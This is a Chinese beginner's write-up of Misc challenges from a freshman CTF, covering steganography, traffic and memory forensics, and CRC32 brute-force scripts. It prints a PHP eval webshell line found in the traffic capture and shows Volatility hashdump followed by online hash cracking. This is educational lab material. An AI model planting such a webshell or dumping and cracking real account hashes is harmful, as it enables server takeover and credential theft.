Chive秋季新生赛Misc题解

First Post:

Last Update:

Word Count:
3.3k

Read Time:
15 min

Misc题解

前置知识

本wp是面向新生写的,题不难方法乱,佬佬佬请手下留情qwq
1.必要的软件:010editor或者Winhex(十六进制分析),StegSolve(图片处理),wireshark(流量分析),QRc,ARCHPR,netcat等

kali系统:volatility(内存取证),pwntools(pwn必备)

2.一些前置知识

①本次题目用到的文件头:

504B0304 zip格式

FFD8 jpg格式

更多格式自己百度(

②简单的linux操作,虚拟机,命令行等基础知识

签到题

题目提示“s2n”,实际上就是告诉你字符串转数字,将题目上的十进制数字转为16进制,然后在转化为字符串就是flag

在线网站:https://www.zixuephp.net/tool-str-hex.html

当然也可以用python的libnum库的libnum.n2s

1
2
3
198974677777466123233790739058702135422422941323011746768369887102728114188076830963581
666c61677b57656c63306d655f546f5f7468655f6374665f7730726c645f33656438377d
flag{Welc0me_To_the_ctf_w0rld_3ed87}

海报的秘密

用PS将右上角的定位符补全,不要使用手机直接扫码,用QRC等软件扫码,可以看出在QQ的跳转链接的后面加上了一段flag

Metadata

Metadata就是元数据的意思,简单理解就是图片的备注信息,用010editor打开(以下简称010),可以看到在压缩包最后有一些base64编码

5pCjR1.png

将这个图片用在线网站提取exif信息,然后可以发现另一段base64编码

5pPpqO.png

复制之后解码,就能得到flag

5pCXGR.png

https://exif.tuchong.com/ 在线提取exif信息

http://www.hiencode.com 各种解码大合集

Grass

在GitHub上面搜索“Grass-plant Programming Language”,找到那个项目就行,在Result里面有编译好的解释器,按要求使用就行

https://github.com/nanayaT/GllEditor 项目地址

ezpcap

打开流量包,可以看到一堆没用的ARP流量,直接过滤(高人指点,校园网的锅)

5pP6Qx.png

然后用指令过滤,打开流量包就能找到flag

5pPcy6.png

Height_and_width

一眼可以看出图片的高度和宽度北部修改了,那么如何才能找到原来的宽高值呢?这就要看png的文件格式了

(注:这些信息是我凭记忆写的,可能有些错误,请以实际为准)

PNG文件中总是以固定的八个字节开头:89 50 4E 47 0D 0A 1A 0A

数据块长度13:00 00 00 0D

文件头数据块标示IDCH:49 48 44 52

13位数据块(IHDR):宽和高: 00 00 00 80 00 00 00 80 之后5个字节依次为Bit depth ColorType Compression method Filter method Interlace method :08 02 00 00 00

接下来的四字节为该png图片的CRC校验码,由IDCH和IHDR共十七位字节进行crc计算得到。

74 0F 90 AC

对于png图片的高度和宽度有一个CRC32值校验,于是便可以通过CRC32碰撞来获得原来的宽度高度,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
import os
import binascii
import struct
crcbp = open("C:\\Users\\LiangMaxwell\\Downloads\\QRCode.png","rb").read()
for i in range(1024):
for j in range(1024):
data = crcbp[12:16] + struct.pack('>i',i) + struct.pack('>i',j) + crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == 0x740f90ac:
print i,j
print "hex",hex(i),hex(j)

得到原来的图片宽高,在16进制中修改即可得到flag

RGB_channel

下载解压后得到三个图片,按照名称用StegSolve打开,分别提取RGB三个通道的信息,连接起来就是flag

5pPSsK.png

5pCvxx.png

5pCzM6.png

提取完之后注意删掉空格,我特么删了两个空格没看见第一个然后死活提交不对,我是铸币。

Base163264

看题目就可以知道是base16 base32 base64三种编码方式,由于文本长度过长,很难通过在线网站进行解码,所以需要python脚本

1
2
3
4
5
6
7
8
import base64
readfile = open('C:\\Users\\LiangMaxwell\\Downloads\\24.txt','r')
f=open("C:\\Users\\LiangMaxwell\\Downloads\\25.txt","wb")
txt = readfile.readlines()[0]
txt = base64.b16decode(txt)
print(txt)
f.write(txt)
readfile.close()
1
2
3
4
5
6
7
8
import base64
readfile = open('C:\\Users\\LiangMaxwell\\Downloads\\19.txt','r')
f=open("C:\\Users\\LiangMaxwell\\Downloads\\20.txt","wb")
txt = readfile.readlines()[0]
txt = base64.b32decode(txt)
print(txt)
f.write(txt)
readfile.close()
1
2
3
4
5
6
7
8
import base64
readfile = open('C:\\Users\\LiangMaxwell\\Downloads\\17.txt','r')
f=open("C:\\Users\\LiangMaxwell\\Downloads\\18.txt","wb")
txt = readfile.readlines()[0]
txt = base64.b64decode(txt)
print(txt)
f.write(txt)
readfile.close()

鄙人不才,使用的麻烦的解题方法:

(上面的代码都能看懂吧)

base16格式:31313435313431393139383130E593BCE593BCE5958AE5958AE5958AE5958A0A

base32格式:GEYTINJRGQYTSMJZHAYTBZMTXTSZHPHFSWFOLFMK4WKYVZMVRIFA====

base64格式:MTE0NTE0MTkxOTgxMOWTvOWTvOWViuWViuWViuWVigo=

通过观察解码出来的格式,选择使用哪一个脚本来解码,在pycharm里面选择不同的脚本来运行,每次运行之后更改一下文件路径,知道最后算出来flag

标准解法:用个异常处理来同时转换编码,当初没想到(

也许可以写一个正则表达式来判断是何种编码,但是过于懒惰不想思考(

what’s_my_password

内存分析题,需要在kali中安装脚本以及相关依赖

查看相关信息

1
volatility -f mem.raw imageinfo

查看账户密码

1
volatility -f mem.raw --profile=Win70x86 hashdump

(注意,上面那个Win70x86是其他的内存镜像的信息,对于本题需要用第一个命令看一下详细信息,然后改成自己的)

在“CTF”账户中可以找到SAM的信息,然后在下面这个网站就能解析出原来的密码

https://www.objectif-securite.ch/ophcrack

简单流量分析

(被出题人气晕.jpg)

打开之后,常规过滤流量,得到想要的http流量信息

5pFTqf.png

提取出来文件

5pFIMt.png

在这些文件中就能找到我们想要的信息

5pF4xI.png

5pFosP.png

5pFhRA.png

最后按照要求写出来就是

1
2
3
4
5
6
7
1. 黑客上传的一句话木马是什么?
<?php eval($_POST['antswordisgood']); ?>
2. 黑客利用一句话木马getshell需要的密码是什么?
antswordisgood
3. 黑客从服务器获取的文件的内容是什么?
This_is_a_secret_file_lol
回答上述问题, 并将上述问题的答案用"_"(下划线)连接起来, 如"一句话木马_密码_文件内容", 再将连接的字符串用32位小写md5加密, 并以flag{xxx}的形式提交, xxx为小写32位md5

注意事项,”一句话木马“指的是40字节的文件内容,而不是”shell.php“,然后secret.txt显示的是26字节,实际上只要25个字符,原因是出题人多打了一个回车,于是答案就是

1
<?php eval($_POST['antswordisgood']); ?>_antswordisgood_This_is_a_secret_file_lol

md5之后就是flag的内容

究极套娃

典中典

首先直接打开流量包,发现提示损坏,用16进制打开可以看到后面多了一个压缩包和几个字符,注意那几个字符实际上就是flag2(亏我当初一顿好找)

5pkRmV.png

将后缀的压缩包分离出来,解压密码是流量包分析的结果,流量包本身是一个键盘流量,通过指令和脚本可以分析出来解压密码

(对于键盘流量分析和解码脚本请自行百度,我在另一个电脑上面写的wp没有相关软件和脚本qwq)

5pk6ln.png

解压出来之后进入challenge2,里面有一个图片,无法打开,缺少文件头,补上去就行

这个图片藏满了信息,首先是高度,将其修改之后可以看到密码3

5pADHK.jpg

然后是Exif信息,同样可以用在线网站提取出来密码1

5pAyND.png

用16进制打开之后可以看到后面还有一个压缩包,提取出来之后是密码2

5pkgO0.png

将密码链接起来解压压缩包,进入challenge3

对于那三个rgb图片,都使用StegSolve提取数据,可以看出里面都是压缩包

5pkcyq.png

这三个压缩包里面都是一个5字节的txt,通过解题经验可知这是CRC32碰撞,上脚本

(GitHub上面也有著名的项目https://github.com/theonlypwner/crc32)

这是那三个文件的CRC32值

88e29b0b a7d5ecec 009067d5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
# coding:utf-8

"""
Author:spaceman
"""

import binascii
import string
from time import sleep


def is_number(s):
try:
float(s)
return True
except ValueError:
pass

try:
import unicodedata
unicodedata.numeric(s)
return True
except (TypeError, ValueError):
pass

return False


# 进度条
def progress(percent=0, width=40):
left = width * percent // 95
right = width - left
print('\r[', '#' * left, ' ' * right, ']', f' {percent:.0f}%', sep='', end='', flush=True)


# 一位字节
def crc1(strs, dic):
strs = hex(int(strs, 16))
rs = ''
for i in dic:
s = i
if hex(binascii.crc32(s.encode())) == strs:
rs += s
print(strs + ' : ' + s)
return rs


# 两位字节
def crc2(strs, dic):
strs = hex(int(strs, 16))
rs = ''
for i in dic:
for j in dic:
s = i + j
if hex(binascii.crc32(s.encode())) == strs:
rs += s
print(strs + ' : ' + s)
return rs


# 三位字节
def crc3(strs, dic):
strs = hex(int(strs, 16))
rs = ''
for i in dic:
for j in dic:
for k in dic:
s = i + j + k
if hex(binascii.crc32(s.encode())) == strs:
rs += s
print(strs + ' : ' + s)
return rs


# 四位字节
def crc4(strs, dic):
strs = hex(int(strs, 16))
rs = ''
it = 1
for i in dic:
for j in dic:
for k in dic:
for m in dic:
s = i + j + k + m
if hex(binascii.crc32(s.encode())) == strs:
rs += s
print()
print(strs + ' : ' + s)
print('\n')
progress(it)
sleep(0.1)
it += 1
return rs


# 五位字节
def crc5(strs, dic):
strs = hex(int(strs, 16))
rs = ''
it = 1
for i in dic:
progress(it)
for j in dic:
for k in dic:
for m in dic:
for n in dic:
s = i + j + k + m + n
if hex(binascii.crc32(s.encode())) == strs:
rs += s
print()
print(strs + ' : ' + s)
print('\n')
sleep(0.1)
it += 1
return rs


# 计算碰撞 crc
def CrackCrc(crclist, length):
print()
print("正在计算...")
print()
dic = ''' !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~''' # 碰撞需要的字符字典
dic = dic[::-1]
text = ''
for i in crclist:
if length == '1':
text += crc1(i, dic)
if length == '2':
text += crc2(i, dic)
if length == '3':
text += crc3(i, dic)
if length == '4':
text += crc4(i, dic)
if length == '5':
text += crc5(i, dic)
print('\n')
if text == '':
print("碰撞失败,无结果")
exit()
print("字符顺序组合:", end=' ')
print()
print(text)
print()
input("回车确认结束程序...")


# 主函数
print('''
##############################

###### Author:spaceman ######

### Thank you for your use ###

##############################
''')
listcrc = [] # 用于存储crc值
length = (input("请输入文本字节大小(1-5):")) # 即文本内容大小,如文本内容为flag,大小即为4
if is_number(length) == False or length not in ("1,2,3,4,5"):
exit("非指定数字,退出")
print()
while 1:
crc = input('请输入crc值(例如:d1f4eb9a,输入n完成输入):')
if crc == 'n':
break
crc = '0x' + crc
if len(crc) != 10:
print("rcr长度不对,请重新输入")
continue
listcrc.append(crc)

CrackCrc(listcrc, length)

最后可以碰撞出来一些字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
0x88e29b0b  : v6tKj
0x88e29b0b : jy(J~
0x88e29b0b : Whd"&
0x88e29b0b : K'8#2

0xa7d5ecec : ^7U1q
0xa7d5ecec : 2Dx55


0x9067d5 : kxKUe
0x9067d5 : J&[<)
0x9067d5 : &Uv8m

将其组合成字典,使用ARCHPR爆破就能得到密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
v6tKj^7U1qkxKUe
v6tKjkxKUe^7U1q
^7U1qv6tKjkxKUe
^7U1qkxKUev6tKj
kxKUe^7U1qv6tKj
kxKUev6tKj^7U1q
v6tKj^7U1qJ&[<)
v6tKjJ&[<)^7U1q
^7U1qv6tKjJ&[<)
^7U1qJ&[<)v6tKj
J&[<)^7U1qv6tKj
J&[<)v6tKj^7U1q
v6tKj^7U1q&Uv8m
v6tKj&Uv8m^7U1q
^7U1qv6tKj&Uv8m
^7U1q&Uv8mv6tKj
&Uv8m^7U1qv6tKj
&Uv8mv6tKj^7U1q
v6tKj2Dx55kxKUe
v6tKjkxKUe2Dx55
2Dx55v6tKjkxKUe
2Dx55kxKUev6tKj
kxKUe2Dx55v6tKj
kxKUev6tKj2Dx55
v6tKj2Dx55J&[<)
v6tKjJ&[<)2Dx55
2Dx55v6tKjJ&[<)
2Dx55J&[<)v6tKj
J&[<)2Dx55v6tKj
J&[<)v6tKj2Dx55
v6tKj2Dx55&Uv8m
v6tKj&Uv8m2Dx55
2Dx55v6tKj&Uv8m
2Dx55&Uv8mv6tKj
&Uv8m2Dx55v6tKj
&Uv8mv6tKj2Dx55
jy(J~^7U1qkxKUe
jy(J~kxKUe^7U1q
^7U1qjy(J~kxKUe
^7U1qkxKUejy(J~
kxKUe^7U1qjy(J~
kxKUejy(J~^7U1q
jy(J~^7U1qJ&[<)
jy(J~J&[<)^7U1q
^7U1qjy(J~J&[<)
^7U1qJ&[<)jy(J~
J&[<)^7U1qjy(J~
J&[<)jy(J~^7U1q
jy(J~^7U1q&Uv8m
jy(J~&Uv8m^7U1q
^7U1qjy(J~&Uv8m
^7U1q&Uv8mjy(J~
&Uv8m^7U1qjy(J~
&Uv8mjy(J~^7U1q
jy(J~2Dx55kxKUe
jy(J~kxKUe2Dx55
2Dx55jy(J~kxKUe
2Dx55kxKUejy(J~
kxKUe2Dx55jy(J~
kxKUejy(J~2Dx55
jy(J~2Dx55J&[<)
jy(J~J&[<)2Dx55
2Dx55jy(J~J&[<)
2Dx55J&[<)jy(J~
J&[<)2Dx55jy(J~
J&[<)jy(J~2Dx55
jy(J~2Dx55&Uv8m
jy(J~&Uv8m2Dx55
2Dx55jy(J~&Uv8m
2Dx55&Uv8mjy(J~
&Uv8m2Dx55jy(J~
&Uv8mjy(J~2Dx55
Whd"&^7U1qkxKUe
Whd"&kxKUe^7U1q
^7U1qWhd"&kxKUe
^7U1qkxKUeWhd"&
kxKUe^7U1qWhd"&
kxKUeWhd"&^7U1q
Whd"&^7U1qJ&[<)
Whd"&J&[<)^7U1q
^7U1qWhd"&J&[<)
^7U1qJ&[<)Whd"&
J&[<)^7U1qWhd"&
J&[<)Whd"&^7U1q
Whd"&^7U1q&Uv8m
Whd"&&Uv8m^7U1q
^7U1qWhd"&&Uv8m
^7U1q&Uv8mWhd"&
&Uv8m^7U1qWhd"&
&Uv8mWhd"&^7U1q
Whd"&2Dx55kxKUe
Whd"&kxKUe2Dx55
2Dx55Whd"&kxKUe
2Dx55kxKUeWhd"&
kxKUe2Dx55Whd"&
kxKUeWhd"&2Dx55
Whd"&2Dx55J&[<)
Whd"&J&[<)2Dx55
2Dx55Whd"&J&[<)
2Dx55J&[<)Whd"&
J&[<)2Dx55Whd"&
J&[<)Whd"&2Dx55
Whd"&2Dx55&Uv8m
Whd"&&Uv8m2Dx55
2Dx55Whd"&&Uv8m
2Dx55&Uv8mWhd"&
&Uv8m2Dx55Whd"&
&Uv8mWhd"&2Dx55
K'8#2^7U1qkxKUe
K'8#2kxKUe^7U1q
^7U1qK'8#2kxKUe
^7U1qkxKUeK'8#2
kxKUe^7U1qK'8#2
kxKUeK'8#2^7U1q
K'8#2^7U1qJ&[<)
K'8#2J&[<)^7U1q
^7U1qK'8#2J&[<)
^7U1qJ&[<)K'8#2
J&[<)^7U1qK'8#2
J&[<)K'8#2^7U1q
K'8#2^7U1q&Uv8m
K'8#2&Uv8m^7U1q
^7U1qK'8#2&Uv8m
^7U1q&Uv8mK'8#2
&Uv8m^7U1qK'8#2
&Uv8mK'8#2^7U1q
K'8#22Dx55kxKUe
K'8#2kxKUe2Dx55
2Dx55K'8#2kxKUe
2Dx55kxKUeK'8#2
kxKUe2Dx55K'8#2
kxKUeK'8#22Dx55
K'8#22Dx55J&[<)
K'8#2J&[<)2Dx55
2Dx55K'8#2J&[<)
2Dx55J&[<)K'8#2
J&[<)2Dx55K'8#2
J&[<)K'8#22Dx55
K'8#22Dx55&Uv8m
K'8#2&Uv8m2Dx55
2Dx55K'8#2&Uv8m
2Dx55&Uv8mK'8#2
&Uv8m2Dx55K'8#2
&Uv8mK'8#22Dx55

这个文件的口令 : v6tKj2Dx55kxKUe

解压challenge4,得到flag1,将其与之前的flag2拼接就能得到flag

1
flag{W0w_yoU_4re_m1Sc_Ma5Ter_BuT_Ju5t_4_j0ke_LoL}

总结

题不算难,考察的知识点很全面,对纯萌新不太友好(

对于没有基础的新生来说,如果善于使用Google,百度,CSDN等搜索工具,就能很快的解决问题